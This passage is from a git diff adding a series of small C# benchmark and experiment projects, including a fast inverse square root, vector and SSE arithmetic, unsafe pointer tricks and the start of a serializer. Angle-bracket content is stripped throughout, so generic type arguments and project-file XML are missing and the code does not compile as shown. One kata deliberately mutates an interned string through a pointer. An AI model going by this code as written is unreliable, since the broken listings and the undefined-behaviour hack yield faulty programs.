{ + return count; + } + + if (!regex.IsMatch(file)) + { + return count; + } + + var fileCount = 0; + using (var reader = new StreamReader(file)) + { + while (reader.ReadLine() is { } line) + { + var lineSpan = line.AsSpan().Trim(); + if (lineSpan.Length == 0) + { + continue; + } + + if (options.IgnoreChars.Length > 0 && ignoreChars.IndexOf(lineSpan[0]) != -1) + { + continue; + } + + fileCount++; + } + } + + count += fileCount; + return count; + } +} diff --git a/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj b/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj new file mode 100644 index 0000000..1879c9f --- /dev/null +++ b/csharp/E053-InverseSqrtBenchmarks/E053-InverseSqrtBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E053_InverseSqrtBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E053-InverseSqrtBenchmarks/Program.cs b/csharp/E053-InverseSqrtBenchmarks/Program.cs new file mode 100644 index 0000000..3c2ca70 --- /dev/null +++ b/csharp/E053-InverseSqrtBenchmarks/Program.cs @@ -0,0 +1,35 @@ +using System.Runtime.CompilerServices; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class InverseSqrtBenchmarks +{ + [Benchmark] + [Arguments(16.0f)] + public float OneOverMathFSqrt(float number) + { + return 1.0f / MathF.Sqrt(number); + } + + [Benchmark] + [Arguments(16.0f)] + public float Q_rsqrt(float number) + { + int i; + float x2, y; + const float threehalfs = 1.5F; + + x2 = number * 0.5F; + y = number; + i = Unsafe.As(ref y); // evil floating point bit level hacking + i = 0x5f3759df - (i >> 1); // what the fuck? + y = Unsafe.As(ref i); + y = y * (threehalfs - (x2 * y * y)); // 1st iteration +// y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed + + return y; + } +} diff --git a/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj b/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj new file mode 100644 index 0000000..964351d --- /dev/null +++ b/csharp/E054-DivisionBenchmarks/E054-DivisionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E054_DivisionBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E054-DivisionBenchmarks/Program.cs b/csharp/E054-DivisionBenchmarks/Program.cs new file mode 100644 index 0000000..3eaeb2f --- /dev/null +++ b/csharp/E054-DivisionBenchmarks/Program.cs @@ -0,0 +1,37 @@ +using System.Numerics; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DivisionBenchmarks +{ + [Benchmark] + [Arguments(1.0f)] + public float SingleDivide(float x) + { + return x / 10.0f; + } + + [Benchmark] + [Arguments(0.1f)] + public float SingleMultiply(float x) + { + return x * 10.0f; + } + + [Benchmark] + [Arguments(10.0f)] + public Vector3 VectorDivide(float y) + { + return new Vector3(10.0f, 10.0f, 10.0f) / y; + } + + [Benchmark] + [Arguments(0.1f)] + public Vector3 VectorMultiply(float y) + { + return new Vector3(10.0f, 10.0f, 10.0f) * y; + } +} diff --git a/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj b/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj new file mode 100644 index 0000000..26d1536 --- /dev/null +++ b/csharp/E055-ArrayVsSpanBenchmarks/E055-ArrayVsSpanBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E055_ArrayVsSpan + enable + enable + + + + + + + diff --git a/csharp/E055-ArrayVsSpanBenchmarks/Program.cs b/csharp/E055-ArrayVsSpanBenchmarks/Program.cs new file mode 100644 index 0000000..3121ae9 --- /dev/null +++ b/csharp/E055-ArrayVsSpanBenchmarks/Program.cs @@ -0,0 +1,22 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsSpanBenchmarks +{ + [Benchmark] + public int Array() + { + var array = new int[10_000]; + return array.Length; + } + + [Benchmark] + public int Span() + { + Span span = stackalloc int[10_000]; + return span.Length; + } +} diff --git a/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj b/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj new file mode 100644 index 0000000..724689d --- /dev/null +++ b/csharp/E056-UnsafeKata/E056-UnsafeKata.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E056_UnsafeKata + enable + enable + + + diff --git a/csharp/E056-UnsafeKata/Program.cs b/csharp/E056-UnsafeKata/Program.cs new file mode 100644 index 0000000..4c554ec --- /dev/null +++ b/csharp/E056-UnsafeKata/Program.cs @@ -0,0 +1,12 @@ +using System.Runtime.CompilerServices; + +var t = 424; +byte[] bt = Unsafe.As(ref t); + +bool a = Unsafe.IsNullRef(ref bt); +bool b = bt is null; + +Console.WriteLine(a); +Console.WriteLine(b); + +Console.WriteLine(bt); diff --git a/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj b/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj new file mode 100644 index 0000000..cc8ffd0 --- /dev/null +++ b/csharp/E057-TypeRoulette/E057-TypeRoulette.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E057_TypeRoulette + enable + enable + + + diff --git a/csharp/E057-TypeRoulette/Program.cs b/csharp/E057-TypeRoulette/Program.cs new file mode 100644 index 0000000..772e294 --- /dev/null +++ b/csharp/E057-TypeRoulette/Program.cs @@ -0,0 +1,31 @@ +using System.Reflection; + +var random = new Random(); + +for (var i = 0; i < 10; i++) +{ + object instance = NextType(random); + Console.WriteLine(instance.GetType()); + Console.WriteLine($" {CallRandomMethod(random, instance)}"); +} + +return; + +static object? CallRandomMethod(Random random, object o) +{ + MethodInfo[] methods = o.GetType().GetMethods(BindingFlags.Public | BindingFlags.Instance).Where(m => m.GetParameters().Length == 0).ToArray(); + if (methods.Length == 0) return null; + return methods[random.Next(methods.Length)].Invoke(o, null); +} + +static object NextType(Random random) +{ + Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); + if (assemblies.Length == 0) return new object(); + + Assembly assembly = assemblies[random.Next(assemblies.Length)]; + Type[] types = assembly.GetTypes().Where(t => !t.ContainsGenericParameters && t.GetConstructors(BindingFlags.Public | BindingFlags.Instance).Count(c => c.GetParameters().Length == 0) == 1).ToArray(); + if (types.Length == 0) return new object(); + Type type = types[random.Next(types.Length)]; + return Activator.CreateInstance(type)!; +} diff --git a/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj new file mode 100644 index 0000000..e5d669d --- /dev/null +++ b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/E058-ToArrayVsAsReadOnlyBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E058_ToArrayVsAsReadOnlyBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs new file mode 100644 index 0000000..3d3684c --- /dev/null +++ b/csharp/E058-ToArrayVsAsReadOnlyBenchmarks/Program.cs @@ -0,0 +1,59 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ToArrayVsAsReadOnlyBenchmarks +{ + private readonly List _100List = new(100); + private readonly List _1000List = new(1000); + private readonly List _10000List = new(10000); + + [GlobalSetup] + public void Setup() + { + for (var i = 0; i < 10000; i++) + { + if (i < 100) _100List.Add(i); + if (i < 1000) _1000List.Add(i); + _10000List.Add(i); + } + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_100Items() + { + return _100List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_100Items() + { + return _100List.ToArray(); + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_1000Items() + { + return _1000List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_1000Items() + { + return _1000List.ToArray(); + } + + [Benchmark] + public IReadOnlyCollection AsReadOnly_10000Items() + { + return _10000List.AsReadOnly(); + } + + [Benchmark] + public IReadOnlyCollection ToArray_10000Items() + { + return _10000List.ToArray(); + } +} diff --git a/csharp/E059-RandomTypes/E059-RandomTypes.csproj b/csharp/E059-RandomTypes/E059-RandomTypes.csproj new file mode 100644 index 0000000..91020d8 --- /dev/null +++ b/csharp/E059-RandomTypes/E059-RandomTypes.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E059_RandomTypes + enable + enable + + + diff --git a/csharp/E059-RandomTypes/Program.cs b/csharp/E059-RandomTypes/Program.cs new file mode 100644 index 0000000..1d91455 --- /dev/null +++ b/csharp/E059-RandomTypes/Program.cs @@ -0,0 +1,11 @@ +foreach (int number in Get10RandomNumbers()) +{ + Console.WriteLine(number); +} + +static IEnumerable Get10RandomNumbers() +{ + var random = new Random(); + for (var i = 0; i < 10; i++) + yield return random.Next(); +} diff --git a/csharp/E059-RandomTypes/RandomType.cs b/csharp/E059-RandomTypes/RandomType.cs new file mode 100644 index 0000000..687480e --- /dev/null +++ b/csharp/E059-RandomTypes/RandomType.cs @@ -0,0 +1,44 @@ +namespace E059_RandomTypes; + +public struct RandomType +{ + private static readonly Type[] Types = { typeof(int), typeof(double), typeof(bool), typeof(string) }; + private static readonly Random Random = new(); + private readonly Type _type; + private readonly object _value; + + private RandomType(Type type, object value) + { + _type = type; + _value = value; + } + + public static explicit operator int(RandomType r) + { + if (r._type == typeof(int)) return (int)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator double(RandomType r) + { + if (r._type == typeof(double)) return (double)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator bool(RandomType r) + { + if (r._type == typeof(bool)) return (bool)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static explicit operator string(RandomType r) + { + if (r._type == typeof(string)) return (string)r._value; + throw new InvalidCastException("Wrong, dipshit"); + } + + public static implicit operator RandomType(int o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(bool o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(double o) => new RandomType(Types[Random.Next(Types.Length)], o); + public static implicit operator RandomType(string o) => new RandomType(Types[Random.Next(Types.Length)], o); +} diff --git a/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj b/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj new file mode 100644 index 0000000..f99dcae --- /dev/null +++ b/csharp/E060-PointerFuckery/E060-PointerFuckery.csproj @@ -0,0 +1,12 @@ + + + + Exe + net8.0 + E060_StringFuckery + enable + enable + true + + + diff --git a/csharp/E060-PointerFuckery/Program.cs b/csharp/E060-PointerFuckery/Program.cs new file mode 100644 index 0000000..aae57b5 --- /dev/null +++ b/csharp/E060-PointerFuckery/Program.cs @@ -0,0 +1,20 @@ +using System.Runtime.InteropServices; + +unsafe +{ + var i = (int*)Marshal.AllocHGlobal(sizeof(int)); // 4 bytes on heap + *i = 123; // deref and assign + Console.WriteLine(*i); // deref and print + Marshal.FreeHGlobal(new nint(i)); + + const string str = "Hello"; + fixed (char* ptr = str) + { + *(ptr + 1) = 'a'; + } + + Console.WriteLine("Hello"); + Console.WriteLine("Hello" == "Hallo"); + Console.WriteLine("Hello".Equals("Hallo")); + Console.WriteLine(ReferenceEquals("Hello", str)); +} diff --git a/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj b/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj new file mode 100644 index 0000000..f875015 --- /dev/null +++ b/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E061_LoopVsWhereBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E061-LoopVsWhereBenchmarks/Program.cs b/csharp/E061-LoopVsWhereBenchmarks/Program.cs new file mode 100644 index 0000000..e204276 --- /dev/null +++ b/csharp/E061-LoopVsWhereBenchmarks/Program.cs @@ -0,0 +1,102 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LoopVsWhereBenchmarks +{ + private const string Input = "This is a test hello world 01234\n"; + + [Benchmark] + [Arguments(Input)] + public string Loop_WithPatternMatch_Concat(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] is > 'm' or < 'a') + { + errors++; + } + } + + return errors + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithPatternMatch_Interpolate(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] is > 'm' or < 'a') + { + errors++; + } + } + + return $"{errors}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithOrOperator_Concat(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] > 'm' || input[i] < 'a') + { + errors++; + } + } + + return errors + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithOrOperator_Interpolate(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] > 'm' || input[i] < 'a') + { + errors++; + } + } + + return $"{errors}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithPatternMatch_Concat(string input) + { + return input.Count(c => c is > 'm' or < 'a') + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithPatternMatch_Interpolate(string input) + { + return $"{input.Count(c => c is > 'm' or < 'a')}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithOrOperator_Concat(string input) + { + return input.Count(c => c > 'm' || c < 'a') + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithOrOperator_Interpolate(string input) + { + return $"{input.Count(c => c > 'm' || c < 'a')}/{input.Length}"; + } +} diff --git a/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj b/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj new file mode 100644 index 0000000..0788f5d --- /dev/null +++ b/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E062_LoopVsCountBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E062-LoopVsCountBenchmarks/Program.cs b/csharp/E062-LoopVsCountBenchmarks/Program.cs new file mode 100644 index 0000000..9c3f888 --- /dev/null +++ b/csharp/E062-LoopVsCountBenchmarks/Program.cs @@ -0,0 +1,33 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LoopVsCountBenchmarks +{ + private static readonly Random Random = new(); + private readonly bool[] _array = Enumerable.Range(1, 1000000).Select(_ => Random.NextDouble() > 0.5).ToArray(); + + [Benchmark] + public int Loop() + { + var count = 0; + + foreach (bool item in _array) + { + if (item) + { + count++; + } + } + + return count; + } + + [Benchmark] + public int Count() + { + return _array.Count(item => item); + } +} diff --git a/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj b/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj new file mode 100644 index 0000000..fffeb95 --- /dev/null +++ b/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E063_LinqVsNoLinqBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs b/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs new file mode 100644 index 0000000..bc8f356 --- /dev/null +++ b/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs @@ -0,0 +1,47 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LinqVsNoLinqBenchmarks +{ + private readonly List _users = new(); + + [GlobalSetup] + public void Setup() + { + _users.Clear(); + for (var index = 0; index < 500_000; index++) + { + _users.Add(new User { Id = index.ToString() }); + } + } + + [Benchmark] + public int Linq() + { + return _users.Where(u => u.Id == "10").Select(u => int.Parse(u.Id)).Sum(); + } + + [Benchmark] + public int Loop() + { + var total = 0; + + for (var index = 0; index < _users.Count; index++) + { + string id = _users[index].Id; + + if (id == "10") + total += int.Parse(id); + } + + return total; + } + + private class User + { + public string Id { get; init; } + } +} diff --git a/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj b/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj new file mode 100644 index 0000000..1baa435 --- /dev/null +++ b/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E064_DynamicVsReflection + enable + enable + + + + + + + diff --git a/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs b/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs new file mode 100644 index 0000000..1730346 --- /dev/null +++ b/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs @@ -0,0 +1,29 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DynamicVsReflectionBenchmarks +{ + [Benchmark] + public int Normal() + { + var s = "Hello World"; + return s.Length; + } + + [Benchmark] + public int Dynamic() + { + dynamic s = "Hello World"; + return s.Length; + } + + [Benchmark] + public int Reflection() + { + var s = "Hello World"; + return (int)typeof(string).GetProperty("Length").GetValue(s); + } +} diff --git a/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj b/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj new file mode 100644 index 0000000..f6f96e7 --- /dev/null +++ b/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E065_DiacriticBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E065-DiacriticBenchmarks/Program.cs b/csharp/E065-DiacriticBenchmarks/Program.cs new file mode 100644 index 0000000..624a8f7 --- /dev/null +++ b/csharp/E065-DiacriticBenchmarks/Program.cs @@ -0,0 +1,65 @@ +using System.Globalization; +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DiacriticBenchmarks +{ + private const string Sample = "ἠἡὀὁἱἰὠὡἐἑὑὐᾐ"; + + [Benchmark] + [Arguments(Sample)] + public string StackOverflow_RemoveDiacritics(string input) + { + string normalizedString = input.Normalize(NormalizationForm.FormD); + var stringBuilder = new StringBuilder(capacity: normalizedString.Length); + + for (var i = 0; i < normalizedString.Length; i++) + { + char c = normalizedString[i]; + UnicodeCategory unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(c); + if (unicodeCategory != UnicodeCategory.NonSpacingMark) + { + stringBuilder.Append(c); + } + } + + return stringBuilder.ToString().Normalize(NormalizationForm.FormC); + } + + [Benchmark] + [Arguments(Sample)] + public string Boas_RemoveSpiritus(string input) + { + string output = MyReplace(input, "ἀἁ", "α"); + output = MyReplace(output, "ἠἡ", "η"); + output = MyReplace(output, "ὀὁ", "ο"); + output = MyReplace(output, "ἱἰ", "ι"); + output = MyReplace(output, "ὠὡ", "ω"); + output = MyReplace(output, "ἐἑ", "ε"); + output = MyReplace(output, "ὑὐ", "υ"); + output = MyReplace(output, "ᾐ", "ῃ"); + return output; + } + + private string MyReplace(string input, string pattern, string replacement) + { + var sb = new StringBuilder(); + foreach (char t in input) + { + if (!pattern.Contains(t)) + { + sb.Append(t); + } + else + { + sb.Append(replacement); + } + } + + return sb.ToString(); + } +} diff --git a/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj b/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj new file mode 100644 index 0000000..7dfd54a --- /dev/null +++ b/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E066_ArrayVsListBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E066-ArrayVsListBenchmarks/Program.cs b/csharp/E066-ArrayVsListBenchmarks/Program.cs new file mode 100644 index 0000000..45024bd --- /dev/null +++ b/csharp/E066-ArrayVsListBenchmarks/Program.cs @@ -0,0 +1,72 @@ +using System.Diagnostics; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsList +{ + private const int Size = 1_000_000; + private int[] _array; + private List _list; + + [GlobalSetup] + public void Setup() + { + var random = new Random(); + + _array = new int[Size]; + _list = new List(Size); + + for (var index = 0; index < Size; index++) + { + int value = random.Next(); + _array[index] = value; + _list.Add(value); + } + + Trace.Assert(_array.Length == Size); + Trace.Assert(_list.Count == Size); + } + + [Benchmark] + public int TotalOfArray() + { + var total = 0; + for (var index = 0; index < Size; index++) + { + total += _array[index]; + } + return total; + } + + [Benchmark] + public int TotalOfList() + { + var total = 0; + for (var index = 0; index < Size; index++) + { + total += _list[index]; + } + return total; + } + + [Benchmark] + public void SetArrayToZero() + { + for (var index = 0; index < Size; index++) + { + _array[index] = 0; + } + } + + [Benchmark] + public void SetListToZero() + { + for (var index = 0; index < Size; index++) + { + _list[index] = 0; + } + } +} diff --git a/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj b/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj new file mode 100644 index 0000000..2bfdbc9 --- /dev/null +++ b/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E067_FacebookMathProblem + enable + enable + + + diff --git a/csharp/E067-FacebookMathProblem/Program.cs b/csharp/E067-FacebookMathProblem/Program.cs new file mode 100644 index 0000000..9bf2c03 --- /dev/null +++ b/csharp/E067-FacebookMathProblem/Program.cs @@ -0,0 +1,18 @@ +var total = 0; + +for (var a = 1; a <= 98; a++) +for (var b = 1; b <= 98; b++) +for (var c = 1; c <= 98; c++) +{ + Console.Title = $"{++total:N0} completed"; + + if (a <= 2 * b) continue; + if (3 * b <= 4 * c) continue; + if (3 * c <= a) continue; + + if (a + b + c == 100) + Console.WriteLine($"Found {a} + {b} + {c} = 100"); +} + +Console.WriteLine("All combinations exhausted"); +Console.ReadLine(); diff --git a/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj b/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj new file mode 100644 index 0000000..86f5162 --- /dev/null +++ b/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj @@ -0,0 +1,16 @@ + + + + Exe + net8.0 + E068_SseBenchmarks + enable + enable + true + + + + + + + diff --git a/csharp/E068-SseBenchmarks/Program.cs b/csharp/E068-SseBenchmarks/Program.cs new file mode 100644 index 0000000..2e17384 --- /dev/null +++ b/csharp/E068-SseBenchmarks/Program.cs @@ -0,0 +1,49 @@ +using System.Runtime.Intrinsics; +using System.Runtime.Intrinsics.X86; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SseBenchmarks +{ + private readonly int[] _firstArray = { 1, 2, 3, 4 }; + private readonly int[] _secondArray = { 5, 6, 7, 8 }; + + [Benchmark] + public int[] ClassicLoop() + { + var result = new int[4]; + + for (var index = 0; index < _firstArray.Length; index++) + { + result[index] = _firstArray[index] + _secondArray[index]; + } + + return result; + } + + [Benchmark] + public int[] Vectorized() + { + var result = new int[4]; + + unsafe + { + fixed (int* ap = _firstArray, bp = _secondArray, rp = result) + { + int vectorCount = _firstArray.Length / Vector128.Count; + for (var i = 0; i < vectorCount; i++) + { + Vector128 v1 = Sse2.LoadVector128(ap + i); + Vector128 v2 = Sse2.LoadVector128(bp + i); + Vector128 sum = Sse2.Add(v1, v2); + Sse2.Store(rp + i, sum); + } + } + } + + return result; + } +} diff --git a/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj b/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj new file mode 100644 index 0000000..422e24c --- /dev/null +++ b/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E069_IntegerToDecimalBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E069-IntegerToDecimalBenchmarks/Program.cs b/csharp/E069-IntegerToDecimalBenchmarks/Program.cs new file mode 100644 index 0000000..06c8931 --- /dev/null +++ b/csharp/E069-IntegerToDecimalBenchmarks/Program.cs @@ -0,0 +1,29 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class IntegerToDecimalBenchmarks +{ + private const int Value = 69_420; // nice, and blaze it + + [Benchmark] + [Arguments(Value)] + public float UsingToStringAndParse(int value) + { + return float.Parse($"0.{value}"); + } + + [Benchmark] + [Arguments(Value)] + public float UsingDivide(int value) + { + if (value == 0) + { + return 0; + } + + return value / MathF.Pow(10, MathF.Floor(MathF.Log10(MathF.Abs(value))) + 1); + } +} diff --git a/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj b/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj new file mode 100644 index 0000000..458efb6 --- /dev/null +++ b/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj @@ -0,0 +1,16 @@ + + + + Exe + net8.0 + E070_TimeSpanConversionBenchmarks + enable + enable + true + + + + + + + diff --git a/csharp/E070-TimeSpanConversionBenchmarks/Program.cs b/csharp/E070-TimeSpanConversionBenchmarks/Program.cs new file mode 100644 index 0000000..f12aca5 --- /dev/null +++ b/csharp/E070-TimeSpanConversionBenchmarks/Program.cs @@ -0,0 +1,89 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class TimeSpanConversionBenchmarks +{ + private readonly long[] _ticks = new long[1_000_000]; + + [GlobalSetup] + public void Setup() + { + var random = new Random(); + + for (var i = 0; i < _ticks.Length; i++) + { + _ticks[i] = random.NextInt64(); + } + } + + [Benchmark] + public TimeSpan[] UsingConstructor() + { + var times = new TimeSpan[_ticks.Length]; + + for (var i = 0; i < _ticks.Length; i++) + { + times[i] = new TimeSpan(_ticks[i]); + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingUnsafe() + { + var times = new TimeSpan[_ticks.Length]; + + unsafe + { + fixed (long* l = _ticks) + fixed (TimeSpan* ts = times) + { + long* pTicks = l; + TimeSpan* pTimeSpan = ts; + + for (var i = 0; i < _ticks.Length; i++) + { + *pTimeSpan = Unsafe.As(ref *pTicks); + pTicks++; + pTimeSpan++; + } + } + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingRealitysUnsafe() + { + var times = new TimeSpan[_ticks.Length]; + + unsafe + { + fixed (long* l = _ticks) + fixed (TimeSpan* ts = times) + { + for (var i = 0; i < _ticks.Length; i++) + { + Unsafe.Write(ts + i, *(l + i)); + } + } + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingMemoryMarshal() + { + var times = new TimeSpan[_ticks.Length]; + _ticks.CopyTo(MemoryMarshal.Cast(times)); + return times; + } +} diff --git a/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj b/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj new file mode 100644 index 0000000..5e17fad --- /dev/null +++ b/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E071_Thev2AndySerializer + enable + enable + + + + + + + diff --git a/csharp/E071-Thev2AndySerializer/Program.cs b/csharp/E071-Thev2AndySerializer/Program.cs new file mode 100644 index 0000000..e597c39 --- /dev/null +++ b/csharp/E071-Thev2AndySerializer/Program.cs @@ -0,0 +1,147 @@ +using System.Text; +using Cysharp.Text; + +// placeholder config map +var dictionary = new Dictionary +{ + { "Foo", "${Dollar}{Newline}" } +}; + +using var stream = new MemoryStream(); + +// serialize +Serialize(stream, dictionary); +Console.WriteLine(Encoding.UTF8.GetString(stream.ToArray())); + +// deserialize back +stream.Position = 0; // reset stream position +Dictionary deserialized = Deserialize(stream); + +// print deserialized to see if it worked +foreach ((string key, string value) in deserialized) +{ + Console.WriteLine($"Key: {key} Value: {value}"); +} + +return; + +static Dictionary Deserialize(Stream stream) +{ + var dictionary = new Dictionary(); + using var reader = new StreamReader(stream, Encoding.UTF8, leaveOpen: true); + + while (!reader.EndOfStream) + { + ReadOnlySpan line = reader.ReadLine().AsSpan(); + + int 